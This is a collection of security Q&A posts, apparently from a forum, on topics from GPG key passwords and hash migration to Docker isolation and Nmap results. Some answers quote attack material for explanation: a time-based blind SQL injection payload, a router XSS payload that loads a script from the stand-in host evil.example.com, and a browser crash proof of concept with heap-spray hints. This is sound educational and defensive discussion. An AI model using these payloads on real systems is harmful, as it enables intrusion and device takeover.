Honeypots within the perimeter of your network can be very useful, but should be low-interaction honeypots. Even a server with a SSH service running without any valid logins can be a useful honeypot. Any login attempts are immediately suspicious.

High-interaction honeypots are used outside of the perimeter to learn how attackers are approaching your assets and to gather info in order to raise specific defenses.

Anything you place in the hands of an attacker will be used against you. So you need to protect yourself from your own attempts to track an attacker.

If you do some reading on honeypots and other deception technologies, you will get a sense for what is seen as best practice.


Is encryption possible at the physical layer? When we talk about encryption in relation to the OSI Model we usually hear about encryption at Application (Email - PGP), Transport (SSL), Network (IPSec) and even Data Link Layer (WPA). But I have never heard of something in relation to the Physical Layer.

Is it possible to encrypt at the physical?
Are there any applications that use it?
Could there ever be a use-case for encryption at the physical layer?

The job of physical layer is to transmit the data over some channel(cable or wireless medium). If encryption was done at the physical layer, then all the data, including the application data, the destination IP address, port number, different headers, etc. will be encrypted as well. When this encrypted data will be transmitted, the next node(router,switch, or some other link) won't be able to determine the destination address(since even the destination address is encrypted), and it won't be able to forward it.
Hence, encryption is not done at physical layer.


Is the RSA private key useless without the password? I notice whenever I generate a new gpg key (using pgp) I always have to assign a password to it, which makes perfect sense. But if I'm not mistaken,  gpg is based on prime numbers. How is this password integrated into the private key? And if someone stole a private key but didn't know the password, would all encrypted data still be safe?

I'm assuming the main problem is brute forcing that password is trivial compared to brute forcing the private key? If this is the issue, then would having a sufficiently long enough password ensure that your data is safe even if you private key is compromised?

You seem to be asking for a fundamental understanding of how GPG generates keys, and what the role the password plays in this process. I will give some background, and then answer your direct questions at the end.

The short answer is: each time you need to access your RSA private key, your password is used as a "seed" to re-generate the AES-256 key that you need to decrypt your RSA private key (keep reading for details).

RSA Key Generation

When generating an RSA key, you want it as random as possible, pulling randomness from the operating system's cryptographic random number generator (/dev/random on linux, for example). According to wikipedia/RSA_(cryptosystem):

  A cryptographically strong random number generator, which has been properly seeded with adequate entropy, must be used to generate the primes p and q

Protecting the Key File

As discussed in this question, gpg uses its default symmetric cipher to encrypt the RSA private key before it is saved to a file. Gpg's default symmentric cipher used to be 3DES, but is now AES-256. This is also configurable if you would rather use a different cipher (the linked question has a list of available ciphers).

Role of the Password

In order to use a symmetric cipher like AES-256 to encrypt your RSA private key, you need an AES-256 key. Oh no! Recursion! How do you store that key in a safe way? The answer is: you don't - you generate each time you need it using the password as a seed. Specifically, it uses the PBKDF2 algorithm to stretch your password into a full-length, random-looking AES-256 key. Since this AES-256 key is never saved anywhere, your password is essentially the gate-keeper that unlocks your RSA key.

Why not just stretch the password directly into an RSA key?

I'll throw this here just because it's an obvious question.

Symmetric ciphers like AES-256 or 3DES have no structure or properties for their keys, literally any string of bits of the correct length can be used as a key (256-bits and 168-bits respectively).

For public key ciphers (RSA, Elliptic Curve, new post-quantum ciphers like McEliece, NTRU, etc) the keys needs to have very a specific mathematical structure. For example, with RSA the private key must consist of two primes numbers and several numbers derived from them, so if you stretched your password up to the right length and tried to use that as an RSA key, 99.99...% of the time it would be an invalid RSA key (ie the resulting bits would not be two prime numbers and the related values).

Answering your direct questions:

1.

  And if someone stole a private key but didn't know the password, would all encrypted data still be safe?

I'm assuming you mean "if someone stole the private key file but didn't know the password". Yes, your data is safe. All they have is an encrypted file, they have no way of extracting the private key from that.

However, if they manage to get your decrypted private key (say from a memory dump of your running computer) then you're sunk, the password is only used to protect the private key while it's on disk.

  I'm assuming the main problem is brute forcing that password is trivial compared to brute forcing the private key?

Yes, if an attacker gets their hands on your encrypted key file, it will take them fewer guesses to guess your password than to guess your RSA key directly.

Some numbers

Exact estimates of the number of guesses required to break RSA-n, where n is 1024, 2048, 4096, etc, is hard to find, keylength.com is probably the closest you'll get, so take the numbers below with a huge grain of salt.

Let's say that a 1024-bit RSA key gives you (according to keylength.com) 72 bits of security, meaning that an attacker would have to make, on average, 272 guesses to crack your RSA key. By comparison, a 12-character password using numbers, uppers and lowers gives 71.4 bits of security [link to calc] (an attacker has to do ~271.4 guesses) - assuming that it's completely randomly generated, if it's full of dictionary words then it's much much weaker than 71.4 bits.

A 32-character password using all 95 printable ascii characters gives you ~ 210 bits of security [link to calc], almost as much as a fully-random AES-256 bit key. While an RSA-8192 key only gives 136 bits of security, so with a long enough and random enough password, your password can actually be stronger than the RSA key it's protecting (really?!).


Sql Injection ByPass problem I don't know what if part of this command does.

FROM   table
WHERE  id = 1
       AND IF(( Ascii(Lower(Substring((SELECT User()), $i, 1))) ) != $s, 1,
               Benchmark(200000, Md5(Now()))) ```

any one can help me?

As other folks are mentioning, it would be good to understand the context of the code a bit more.  But this looks like SQL that has a blind SQL payload appended into it (presumably via a SQL injection).  In this case, the SQL + payload is using a timing attack that is intended to pause for a long time in the case of a character match and quickly otherwise.

It is probably used in a loop which iterates through the characters to determine a value in the DB - in this case User().  The $i is the character position in the string being determined - the $s is the current letter being tested.

For more information on this type of timing attack see the time-based section of the OWASP Blind SQL Injection page.


When I upload a file on browser, will the server know my file path or disk info? I believe server can know my file name.

What other info will browser tell the server? File path? Disk info?

No it will not. The only thing the server will receive is the raw contents of the file itself and the name of the file. It will not get any other information such as path or file metadata (creation date, etc).


PINsentry PRNG and Bank Cards My bank provides me with a device similar to this:

The device is essentially a PRNG, presumably based on the date/time of it's internal clock, synchronized with the bank servers.

To generate a pin the user must insert their bank card into the slot and enter their 4-digit bank card pin number using the keypad on the device. This is the same pin used to withdraw cash at an ATM.

My question is this: Without a network connection, and without the device having been configured to work with a particular bank card (I can use any other persons device with my card), how does the device verify the pin number?

The pin number must be stored in some way on the chip of the bank card itself. Even with an iterative hash function to delay brute force by 4 seconds for each attempt, the pin number is still only 4 digits long. 4 seconds * 10^4 possible pins = 11 hours to brute force the entire key space.

The card itself does have a lockout facility that will reject further access attempts after 3 incorrect tries (must be a boolean flag written into the memory of the bank card chip). Is the entire security of this authentication system resting on the assumption that somebody cannot simply reset this flag and continue their bruteforce of the tiny key space?

First of all, the device is not a PRNG. All cryptographic functions remain securely within the chip on the card. The device is little more than a user interface. Because it's air-gapped from your browser, it can't be "hacked" by a web page or malware infected computer. And because it's your from your bank, you can trust that it's not a PIN-skimmer keypad. These are very good security attributes that make these devices powerful tools against fraud.

You enter the PIN in the device, which then sends the PIN to your card, and the card verifies it according to the ISO/IEC 7816-4 spec. The card returns only the results of the PIN verification attempt to the reader, which it then displays to you as either an 8 digit authorization code, or as an invalid PIN error. Three consecutive failed PIN verification attempts result in a card that must be reset at an ATM authorized by your bank.

As you noted, this is a tragic weakness in the protocol, but for a completely different reason than cryptography. A mugger can strike you in a private place, and demand your card and your PIN, and he can use your PINSentry on the spot to prove you're not lying. It used to be a mugger would have to drag you to the bank to verify your PIN and risk the security cameras, but now they can do it in the convenience of a dark alley. At least three murders have been committed by robbers gathering PINs.

To be more secure for the user, the device should continue merrily on its way regardless of the validity of your PIN, because the bank should be validating the PIN later on. The problem is this was all designed and decided when many small merchants were still authorizing cards offline. With almost 100% ubiquity of the Internet across the populated areas of our planet, I see little reason to continue accepting offline payments.

As far as PIN security on the chip, that's a lot stronger than the typical mugger. The chip is engineered so that it's very difficult to access the memory on it. It's not like a flash drive or old-school payphone chip, where it's simply a storage device. It's a cryptographic processor, with algorithms and keys and certificates loaded into the silicon only after verifying the signatures on the data. You can't issue a command like "set counter memory location 1234 = 0". Instead, the command to reset the PIN is part of an HMAC protocol, with cryptographic authentication that must be generated by the bank, and the MAC is verified on the chip before it will actually reset the PIN counter.

The chips are reasonably well-protected against tampering, considering they have to cost only a few pennies each. Focused ion beam microscopes have been used to read bits from the cards in the laboratory. Timing attacks have been reduced by improving the designs of the encryption algorithms. As far as I know, differential power analysis attacks can still work, but some chip designs can even withstand those.


Challenges of setting up responsible disclosure for my course Does anyone have experience in setting up a responsible disclosure procedure for a company?

I'm interested in taking up a university assignment involving this.

I have read up on my governments guidelines to responsibilities of both the discloser and the organisation in charge of the information system, but I still have some questions about the actual implementation. For my university to accept this assignment, there have to be some technical challenges to overcome for this project to be found acceptable. Basically, if the project is found to be too easy, it gets rejected. So far, the only things I can come up with are:

Using an secure connection to make sure no attackers can intercept reports of vulnerabilities.
Encrypting the stored reports so that there is no easily available/readable list of vulnerabilities in the website for outsiders.
Authorization for viewing the data
Setting up an automated procedure for handling reports (a trusted person within the organisation receives the report and tries to replicate the vulnerability, and passes it on to the responsible party for fixing it).

If anyone has set up a responsible disclosure system already, and is willing to share: what other challenges did you face when setting up your RD system?

There is some work within ISO/IEC on this, have not looked into it, but would be interested in hearing more, see http://www.iso.org/iso/catalogue_detail.htm?csnumber=45170 (hefty paywall, though).


Is this explanation about how SSL Certificate Signatures work correct? I was reviewing some information about SSL certificates and came across an explanation I believe to be incorrect.

The explanation is of how signatures and hashing algorithms work in the context of connection using SSL.

This is a small section cut from the material:

  "When a secure connection is initially requested by a client, and I've
  told you in previous chapters that the server sends a whole bunch of
  information to that client about itself along with its own public
  certificate. The information that is sent includes information about
  which HASH functions are supported, which encryption technologies are
  supported, etc.

  And so if both the client and the server support SHA-2 for example,
  they'll choose SHA-2."

From my understanding, there is no negotiation of a certificate's signature. It is true that the client and server will trade information about protocol version, encryption ciphers, etc, to decide on what to use.

But the server's certificate is signed by the CA during issuance, and that signature is fixed and uses whatever algorithm the user (or CA) choose during the issuance process. If you were to go get a certificate today, you would probably have a SHA-256 signature.

If the client does not support SHA-256 there is no "negotiation" about other hashing algorithms is there? Wouldnt the connection just fail?

There indeed is no negotiation, but the quote is still mostly correct.

The certificate is simply static. If you have the certificate file and openssl installed, you can see exactly what it contains with this command line:

openssl x509 -in <crtfile> -noout -text

The same information is also available within Web browsers, but you have to be a bit careful; using openssl is better. What the Web browser shows you isn't as raw as what openssl shows you, and the Web browser will add some additional information that is derived from the certicate. In particular, you may see both an SHA1 and an SHA256 fingerprint - don't get confused, those are not in the cert itself.

When you look at the signature within the certificate, you will usually only see one signature, and that will obviously be the one that is being used - if the client doesn't support that signature algorithm, there is nothing they can agree on, and that's the end of it. If the client does support it, then it can immediately start using that certificate.

It is also conceivable that a certificate contains several signatures using different algorithms (although I don't think the certificate format actually supports that; this idea would be only theoretical), but even then, the same would still hold true.

So, the "negotiation" basically consists of the server sending the certificate with the signature algorithm and telling the client "here it is, take it or leave it".


Hash function change I have user account passwords stored in a database using an unsafe (old) cryptographic hash function.

What is the best/usual approach to changing password hash function? Only two ideas come to my mind:

Prompt all users to change their passwords on next log in and hash their passwords with new function when they do. This is not a good option because of many issues (inactive users, long migration period, complicated implementation...)
Hash the old hash values with new hash function, and re-write the method for checking passwords against database: newHash(salt + oldHash(salt + password))

This double hashing seems to me like a good idea, both elegant and simple to implement.

I would like to know if there are any caveats I'm not noticing here. Is this the way this is usually done, or there is another method? Is there some known cryptographic vulnerability in using weak hash function's output as strong hash function's input.

If it is a good idea, what about salt? Would it be okay to use the same salt for both hash functions?

Personally, I would probably implement both with new users getting a strong modern hash (bcrypt or other key-strengthened cryptographic hash) and old users having the weak hash wrapped around bcrypt.  Before people complain of extra implementation complexity the alternative is to always force new users to use weak hash algorithm wrapped around strong hash algorithm, and that means you'll never be rid of the original scheme.

I would have some documented indicator of the type hash scheme analogous to the $1$, $2a$, $5$, or $6$ in crypt (quote from the crypt man page):

   If  salt is a character string starting with the characters "$id$" fol‐
   lowed by a string terminated by "$":

          $id$salt$encrypted

   ... id  identifies  the  encryption
   method  used  and  this  then  determines  how the rest of the password
   string is interpreted.  The following values of id are supported:

          ID  | Method
          ─────────────────────────────────────────────────────────
          1   | MD5
          2a  | Blowfish (not in mainline glibc; added in some
              | Linux distributions)
          5   | SHA-256 (since glibc 2.7)
          6   | SHA-512 (since glibc 2.7)

In this case, you need three types of password hashes:

The old fast weak hashes
The old fast weak hashes that is wrapped around a slow hash with a strong salt
The new slow hash.

On day 1, I would take everything from category 1 and move it into category 2.  New passwords would be put into category 3.  Furthermore, as people login, you can even migrate every successfully authenticated hash from category 2 to category 3 while the plaintext password is in memory.  At some point, you can even completely eliminate any evidence/legacy maintenance of the weak hashing scheme.  (E.g., forcing users with accounts that haven't logged in for 2+ years after the change to reset their passwords).


What is the risk of an attacker inserting new password hashes? The normal threat model that I see with password hashing is as a kind of defense against if the hash somehow leaks to the wider world. In practice, this appears to usually be via some manner of database breach that ends up with (at least) the user table being dumped out. Given that this has happened or can happen, what are the chances that the attacker is also able to put new values into the database?

In particular, I'm thinking of the attacker either generating a new hash for a known password --or taking the attacker's own hashed password-- and substituting it into another user's record.

Basically, is this a realistic threat to be guarded against or just my thoughts spinning into security paranoia?

In particular, I'm thinking of the attacker either generating a new hash for a known password --or taking the attacker's own hashed password-- and substituting it into another user's record."

So, the attacker's own password thing is unlikely. There are technical defences that could stop it, such as deterministic "salt" (instead of hashing just the password, hash something like the username and password together) However, the bigger reason that isn't likely is that it leaves a big red arrow pointing towards the attacker's identity!

Unfortunately, that doesn't mean that the adding a known hash thing is unlikely. You are correct that it is possible. It is something many young developers do by hand when home rolling an authentication system and not yet having the password reset form working. It is also fundamentally how password reset forms work: just overwrite the hash you don't know with one you do.

Essentially, if an attacker has write access to the users table, hashing does not protect it. You might get a small level of defence if you include "pepper" in the hash (which is just a secret value stored away from the database) but with this level of access there is just unavoidably a lot of scope for harm. Other options for attack include changing the type of a user to a privileged one, or messing with the table to prevent real users from logging in, in a DOS attack. Pepper in the hash doesn't help against those.

The take home is yes, hash passwords because it prevents a specific sort of harm (namely password harvesting) but that should not be the only area of security. You also need best practices such as separation of privilege to avoid an attacker having write access to a database to begin with.


What is the difference between JWT and encrypting some json manually with AES? What is the difference between using a JSON Web Token (JWT) and simply having an AES key and sending and receiving encrypted JSON from the client?

For example, this could be sent to the client:

AES256.encrypt(JSON.stringify({id: 5552, admin: true}), key)

JSON Web Tokens (= JWTs) are based on the RFC 7519 and all differences will be extensively described there. If you take a look at this, you will see, that they are much more than what you seem to have in mind.
Among other things, these tokens:

are used to assert claims (for instance "logged in as admin")
are signed with a message authentication code (e.g. HMAC-SHA256) (the algorithm is specified in the header of the JWT)
have a payload that contains the claim(s) (equipped with a timestamp)

The signature is base64url encoded. This is described in section 3.1 and Appendix A.1 of the RFC.

You could do all this with an elaborate homegrown implementation of sharing claims, but why would you?
There are standards, norms and RFCs for a reason. They have been tested by experts, they are trusted and people use them for a reason. It's a good thing that (nearly) everybody weighs their fruit in kilos and travels their distance in kilometres. Standardized systems make it easier to share information and are easily usable for a lot of people.

The conclusion to your point behind this: Do not build overly complicated solutions for problems that have tested and trusted solutions.

Also: take a look at this for another "What's the difference..?" question: What's the difference between SHA and AES encryption?


Can the packets of a wireless network be sniffed by a user who is not present in that network? 1.If an user knows the frequency used by a wireless network, is he able to collect the packets from that network?  Those packets may be encrypted, but can
he collect those packets?

2.If the user has a wireless card supporting the range of frequencies, what is the way to capture those packets?

The channel is broadcast as part of the wifi protocol, and most wifi cards have a "promiscuous mode" that allows them to listen too all traffic on a channel, regardless of which MAC address it's addressed to.

There's widely available software that's free that allows anyone to do this.  Wireshark is a popular choice.  If the traffic is encrypted, the password would have to be cracked (if possible) before the sniffed data could be decrypted.

There's no need to associate with the AP in any way, and it's not possible to detect someone sniffing network packets if done entirely passively.


Are my home keys compromised if I use a key duplication machine? Given that if someone has physical access to your home keys for enough time to take a picture of them, you've already lost, what stops key duplication machines such as MinuteKey from taking pictures of all they keys they duplicate? MinuteKey in particular only takes credit cards, so it has your name and your important keys.

If a machine reads your credit card, can it get your billing address, which for most credit card users is often their home address?

Are there defenses against this besides using cash?

It seems like these machines would be attractive hacking targets.

Your home keys are compromised the second you let someone take a look at them. I recall the story of a prisoner who made a copy of the warden's key himeself just by remembering how it looked.

For most this is an acceptable risk as lockpicking is a thing, and most doors can easily be taken down, so someone who wants to get in will get in.

If you deem the risk not acceptable, consider making your own electronic lock with PKI smart cards. The lock will give the card a random challenge and the card has to sign it with its private key. Thus replay attacks are foiled (where an attacker having access to the key generates a ton of signatures for later use) and copying is impossible as the private key can't be extracted.

Do not rely on those smart home "locks" which use wireless and mobile phone apps. Not only do they have a huge attack surface, designed by people who have more experience in marketing than in security, and they require you to have an app which you can't be sure how long they'll maintain. I consider those devices as toys for people to brag about how smart stupid their home is rather than proper security tools.

Of course with such a strong lock you should also think about replacing the door, otherwise you may find that your lock is all that remains of the door.


Help in understanding an application's crash - exploitable? Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining if it is exploitable.

I've discovered that the following HTML + CSS code causes a crash in Epiphany, when a redirect to another page happens:

<!DOCTYPE html>
<html>
<head>
<style type="text/css">
::-webkit-scrollbar-thumb {
   height:0;
}
::-webkit-scrollbar {
   overflow:visible;
}
</style>
<meta http-equiv="Refresh" content="1; http://www.example.com/" />
</head>
<body></body>
</html>

So far, I've been trying to learn about it and determine it's exploitability by using GDB and Valgrind.

GDB, most of the times, reports a Segmentation Fault or at an address which changes every time I run it. I've also seen it reporting SIGILL instead of SIGSEGV, but it's rare. Debugging further, I've discovered that this is being caused by a CALL [edx+0x228] instruction. The value of the edx register on the moment that this instruction is executed changes slightly on each execution, but, according to the memory map, it is always within the heap.

Valgrind reports a Invalid read of size 4, [...] 3 bytes after a block of size 61 free'd, just before a Jump to the invalid address stated on next line and, finally, the Segmentation Fault.

For me, it looks like an use-after-free bug. I'd like someone to confirm that I'm right.

Assuming that this is, in fact, an use-after-free, I know that the bug might be exploitable. However, I've never managed to overwrite the memory at the address which results from the expression edx+0x228, and therefore I cannot control the instruction pointer.

I believe that the reason for this is because the object is being freed just after the page redirect starts, thus I cannot overwrite the space in memory that it was occupying with Javascript that is executed when the page is loaded. I've tried adding a heap spray to window.onunload, however, adding this method (with any kind of code inside) actually prevents the crash from happening.

So, basically, my questions are:

Is this really an use-after-free bug?
If it is, how may I determine when the object is being freed, and therefore try to learn if it's possible to overwrite it's location in memory after it is freed?

Any suggestions about determining if code execution is possible with this bug, and how it would happen, is also welcome.

Thanks.

I'll assume that the question has two parts: "Is this exploitable?  How can I confirm that this is is?"
It probably is.  You're probably on the right path with the heap spray.  Have you tried disabling ASLR?  That will help clear things up.
Here is some feedback from another person:

This bug is not replicable in newer versions. But he could probably perform a heap spray. He is reporting that gdb is reporting a different address every time this is probably* due to ASLR he should turn that off and back on to make sure. He can step through the program by setting some very breakpoints with gdb and determining the context of the crash.
But idk why he isn't trying out the latest version instead of the oldstable release. But I have mad respect for his/her vigor.


How effective is the ProxyGambit at allowing access to the internet without revealing true location and IP? I'm very interested in purchasing or manufacturing this device on my own and maybe using it in conjunction with Tails/Tor:

https://samy.pl/proxygambit/

According to the site:

  ProxyGambit is a simple anonymization device that allows you to access
  the Internet from anywhere in the world without revealing your true
  location or IP, fracturing your traffic from the Internet/IP through
  either a long distance radio link or a reverse tunneled GSM bridge
  that ultimately drops back onto the Internet and exits through a
  wireless network you're no where near.

  While a point to point link is possible, the reverse GSM bridge allows
  you to proxy from thousands of miles away with nothing other than a
  computer and Internet with no direct link back to your originating
  machine.

  A high speed (150Mbps+) link is available with direct line of sight
  from 10km+ away, or if further away, a 2G GSM connection produces a
  reverse TCP tunnel serializing a shell into the device accessible from
  anywhere in the world via the Internet or GSM. Either method proxies
  your connection through local wifi networks near the device, shielding
  and making it more difficult to determine your true location, IP and
  identity.

Unfortunately, it doesn't appear to be sold anywhere online and it hasn't been discussed online since 2015.

My apologies for asking so many questions, but there appears to be no info on the actual workings of this anonymizing device, apart from a few stories in the media. For all those with some technical aptitude:

Has this device been extensively field-tested? Have there been any recent technological developments that have improved on the device? Does the device do what it says it does? And how would this compare to a directional long-distance wifi antenna to bypass need for an ISP and conceal physical device location? Would it be more or less secure or anonymous?

From the ProxyGambit website:

  This is an insecure, bare bones proof of concept. The fragmentation of data through alternate mediums is a useful and effective concept and those interested in privacy, anonymization, or deanonymization should explore this area further. Entropy is both gained and lost with these methods and many risks are involved when deploying any system of this nature.

It is not meant to be used as-is, but as a starting point for further research. It does not bring any new ideas to the table and in fact does not even use existing secrecy techniques for wireless devices, such as spread spectrum communication to provide LPI/LPD (Low Probability of Interception/Detection).


What happens to zombie machines after DDoS attacks? Do the zombie machines that takes part in a DDoS attack belong to ordinary people just like you and me? Can we be the part of a DDoS attack even without realizing it?

What happens to these slave machines after the attack? Do they become unable to connect to the target? Is that how they become aware of it?

I wonder what do they do with these botnets after the attack?

My most common answer: "It Depends".

  Do the zombie machines that takes part in a DDoS attack belong to ordinary people just like you and me? Can we be the part of a DDoS attack even without realizing it?

Short answer: Yes. Long answer:

Obviously it depends on the infection, but most times, and for most sophisticated attacks:

The victim never realizes he/she has been part of the attack.
Most times victims do not even know their machines are infected.
During the attack: the victim may realize that computer resources are being used more than normal; or in many cases, they don't (sophisticated attacks may preserve the stealth factor by using just a small portion of each victim's computer resources).

  What happens to these slave machines after the attack? Do they become
  unable to connect to the target? Is that how they become aware of it?

After the attack, the infection remains (as if it were "sleeping") until the next attack. The victim did not notice anything, and he/she keeps using the computer normally.

  I wonder what do they do with these botnets after the attack?

There are two main options:

They keep the malware inside the device (computer or any other device as routers and IoT machines) for future attacks.
They clean the infected device to erase any trace. (Most sophisticated attacks may do this {in conjunction with many other techniques}, to make the researchers unable to trace back the attack to the origin).


Docker container which reads memory belonging to another container The field of maliciously accessing another process's memory has been broadly studied in the Linux environment.

But for some reason I am not able to find similar discussion/similarities for the Docker environment, even despite the fact that Covert Channel Attacks have been studied.

Differences I can think of are:

PID namespace - what is the impact of it?
reduced capabilities and systemcall filtering can make it harder for a simple container execution (docker run --it ubuntu:latest /bin/bash) to access the memory

I wish to ask what are the similarities and difference between the two environments?
Suppose all capabilities are granted is there really a different whether I run a container or not?

Memory doesn't belong to a container, it belongs to a process.  By default a container will setup a namespace for PIDs (and other things) so a process running under a container will only see processes running under that same container and therefore only be able to read the memory of those process.  However, if all capabilities were granted then the process could escape that container's PID namespace and potentially access all processes.

Is there a difference between whether you run in a container or not?  Yes, to the extent that a process makes use of the capabilities it has.


A possible router XSS vulnerability I have been trying to analyze my router modem and see how it works
and check for possible vulnerabilities in  the system .
and i would like some help .

Router Security Research :

router access ip : 192.168.1.1

first the web server do a check :

if (user_level == -1) {
    location.href = "admin.html";
//if user_level == -1 // get him back to the login page

the web server get the " user_level " from a javascript file .

location : http://192.168.1.1/users.sjs
var currentUser = "error"; var user_level = -1;

i don't know how the web server can send values to this script ! is this script have global variables ?

if the login is succesfull : the javascript file values :

location : http://192.168.1.1/users.sjs
var currentUser = "technicolor"; var user_level = 15;

/// current user check :
if (currentUser == "technicolor") {
        location.href = "thomson/index.html";
    }

so the web server give acces if the users.sjs have technicolor and 15 as variables values !

the login page send a POST request to this file :

POST /cgi-bin/basicauth.cgi?index.html HTTP/1.1

one of the request variables is failrefer if the login failed he will redirect him to /admin.html
and i found that this post variable have an XSS vulnerability :

&failrefer=/admin.html</script><script>confirm(1)</script>

i really want to know what you think ! is there a way that someone can access my router control panel if he found these vulnerability !
thanks :)

Yes they could control your router with that vulnerability.

Even if there's a limit to the length of the failrefer parameter, an attacker could host a script that can execute router functions on http://evil.example.com/attack_router.js and then trick you into visiting

&failrefer=/admin.html</script><script src="http://evil.example.com/attack_router.js"></script>

somehow. For example, by sending you phishing links or by sending emails appearing to come from your known contacts (if this was any targeted attack).

However, you would have to either be logged into your router already (and I'm assuming a call to the URL above won't log you out), or have your router configured with default or weak credentials.

All the attack_router.js script would need to do is make POST requests to router configuration pages. For example, to the remote login page to enable HTTP management on the WAN side. The attacker, knowing your IP from the request to their evil.example.com domain can simply then log into your router.

Other example attacks would be using the DNS configuration page to change your DNS to one that is under control of the attacker. Then they could redirect you to their own systems to attempt to capture your credentials (e.g. an sslstrip style attack).


Using device fingerprint to prevent an attacker from calling my login REST service for doing dictionary attacks, is this an effective solution? As you know, REST services of mobile application are vulnerable from calling by other unauthorized users, some attacks can be done, and we don't have any prevention mechanism for them, such as dictionary attack.
In web applications the basic mechanism that we can implemented is a Captcha, but for REST services of mobile application there's nothing we can do.
I guess the device fingerprint can be effective solution in this way, what do you think about this?

It's VERY difficult to prevent random users from calling your endpoint. I would not recommend fingerprinting (assuming this is a general service). How is the fingerprint generated and verified? Can you ensure confidentiality, integrity and authentication of the fingerprint? What's stopping another user from analyzing the requests and sending the same fingerprint? Generally, you should assume that attackers know EVERYTHING about your endpoints and build security controls inside of your endpoints. Security by obscurity is almost always a bad idea.

Not entirely the same, but following the same concept, a great example of how client filtering failed magnificently would be the Pokemon Go application (story here). The short summary of what happened was that Pokemon Go wasn't able to limit the requests sent from just their mobile application. So, hackers starting building secondary clients that would send fake location requests back to the application, thus allowing users to jump anywhere on the map and collect Pokemon from all locations.

If your service is only used by a known set of immutable users, IP filtering would be a great technique to prevent others from calling your API.

Otherwise, you would want to build security controls within your API. (Ex. a 5 minute timeout for every 3 incorrect logins per IP, etc.)


What are some considerations before moving personal data to Google Drive? I am considering uploading some (all) of my digital personal data to Google Drive. I guess this would instantly grant access for NSA to my data. (Is that right?)

Who would have access to my data on my gDrive? After deleting some files on the Drive, will they actually be deleted?

Google has access (obviously).
The police will have access if they have a valid search warrant.
A national security letter will give the FBI secret access.
Various three-letter agencies may have access, depending on how they're doing at circumventing Google's encryption.  (Google started encrypting its internal traffic after it was revealed that the NSA was monitoring it.  Modern encryption, properly applied, is believe to be sufficient protection against three-letter agencies -- all known attacks are against the "properly applied" part rather than the encryption itself.)

As for deletion, Google uses a highly distributed storage system.  I don't believe they will intentionally keep data after you delete it, but because of how Google's storage works, residual copies may stick around for a while.


Is possible to get infected by only staying connected to the Internet (nothing else)? I have a router and I'm the only user. I have a computer with Linux and a tablet with Windows 8.1.

Because of a few problems, I had to reinstall Windows on the tablet. Since I'm a bit paranoid about virus and malware, I would like to ask:

Even if I only used the Internet to download Windows updates and get the antivirus software from the official website (using IE), is it possible to get infected only by staying connected to the Internet (doing nothing else)?

Also note that I never had both computer and tablet connected at the same time.

I read somewhere that is possible to get the router infected, so to prevent this, I'm doing almost everything with attention.

A few years ago (2003), there was this worm called "Blaster" (or MSBlast, Lovesan etc. - read more on https://en.wikipedia.org/wiki/Blaster_(computer_worm)). It spread by using a vulnerability in an RPC service, running on Windows XP and 2000.

At the time where it was "worst", you could get infected within minutes, if you didn't have a firewall set up. I remember installing a clean Windows XP, putting it online (without a firewall), and watch it get infected within minutes.

So to answer your question: Yes, if you're connected to the internet, you're vulnerable as long as there's open ports with services listening on them (and there's a vulnerability in the software).

So you can definitely get infected by just being online and not doing anything. Remember, even if you're not doing anything, your computer is still connected to various services online and using the internet.


Checklist for returning a work laptop Submitting on mobile can update later with more details.

You've had a laptop provided to you by your workplace, you may have also used it for some personal web traffic. You've been asked to return it with your password while going on leave, what's the check list of what you should scrub/delete/leave intact?

I assume this question is about a short leave. In this case it might not be suitable to wipe the complete machine.

Dependent on the trust into you IT department, the following points may be good ideas:

Browser caches, stored passwords, forms, ...
Media Player caches
Password Manager
private files, including recycle bin. Of cause this does not wipe the data from HD,but makes it inconvenient to find.
all other programs you use probably store information ... you will never get them all if you do it manually.
unplug the SD card which is in the SD card reader and you always forget about :)

Actually, in most cases the IT department does not care. But you never know what a bored person might do with your computer. Moreover, probably the IT department is able to access the data on your computer at any time remotely.

For Windows 7 this question was already asked:
https://superuser.com/questions/165710/clear-all-personal-data-in-windows-7

In Windows 10 there is also an out of the box soltuion.  Goto
Start > Settings > Update & security > Recovery
 taken from here:
https://home.bt.com/tech-gadgets/computing/windows-10/how-to-wipe-your-pc-with-windows-10-11364002707321

Please feel free to edit the list.


How likely would /var/mail be encrypted in a paid host? I pay for a very basic web hosting plan, which includes a personal email address. Would the sysadmin of said host be able to read the content of my messages? How likely would my personal mail folder be encrypted and secure from prying eyes nowadays?

By paying the company to host your website it means you have trusted them with full control on your website.
Even if the websites directory was encrypted what stops the sysadmin from looking into the database and getting the key?

If you for some reason don't trust hosting company you can always host it yourself.


Is it possible to identify outstanding ssl certificates? Is it possible to identify what certificate authorities has put out valid certificates for a given domain?
For example, if my server leaves my control for some period of time is it possible to determine if it was registered with some CA that I would not know about (and therefore determine if some third party has access to a valid private key that I do not know about).

It is not possible to find out if all existing CA's have issued a certificate for a specific domain. But, it is possible to get this information for many of the public CA's which are included by default as trusted into the browsers/OS because these CA publish newly issued certificates into public accessible certificate logs. These logs then can be monitored and also searched by others, for example using the interface provided by google.

While not all public CA currently publish such logs it looks like that Google Chrome will require this for all public CA's included in Chrome until October 2017.

For more information about the idea behind these logs and how they work in detail see the certificate transparency website.


Nmap reporting almost every port as open I have noticed during some assesments when doing a TCP port scan, Nmap will report almost every port as open for a machine.

Using for example nmap -sS -PN -T4 target -p0-65535, over 20,000 ports will be returned as open. On further investigation, most of these ports are not open or even filtered.

What is causing Nmap to consider the ports open, and is there a different type of scan that can counter this and give more accurate results?

You're most likely hitting a well-configured IDS/IPS appliance.

snort can easily detect your port scan in progress with the sfPortscan filter (the -sS is practically a "portscan in progress" signature), and in addition to logging your attack, it can be configured to perform an active response.  These responses can be as simple as sending you an RST, or as rich as the "react" rule.  The "react" response's default behavior is to respond with an HTTP 403 Forbidden message, but they can also configure it to send any arbitrary data desired.  The reaction behavior is not limited to port 80 requests, either.  snort will send the reply regardless of port number.

To test this theory, while undertaking a portscan of the target, from the same machine that's doing the scanning, try opening any old port on that target with a browser or netcat.  If you receive the HTTP 403 Forbidden response from a non HTTP port, that's likely what's happening.

I am guessing that nmap doesn't interpret the response, it only reports that the socket connection was established, therefore it is reporting it to you as an open port.  Rather than guessing, however, you could set the --packet-trace option on nmap to see what you're actually getting back.

You can read the snort manual here.


Web Application security I am a web app developer, and recently one of my apps was hacked. I wanted to know what are the possible kinds of attacks done on web application (in detail) and methods on how to prevent those.

What have I tried? :

I know about many attacks & try my best to secure the apps from those. Currently I use this a my security reference while developing web apps.

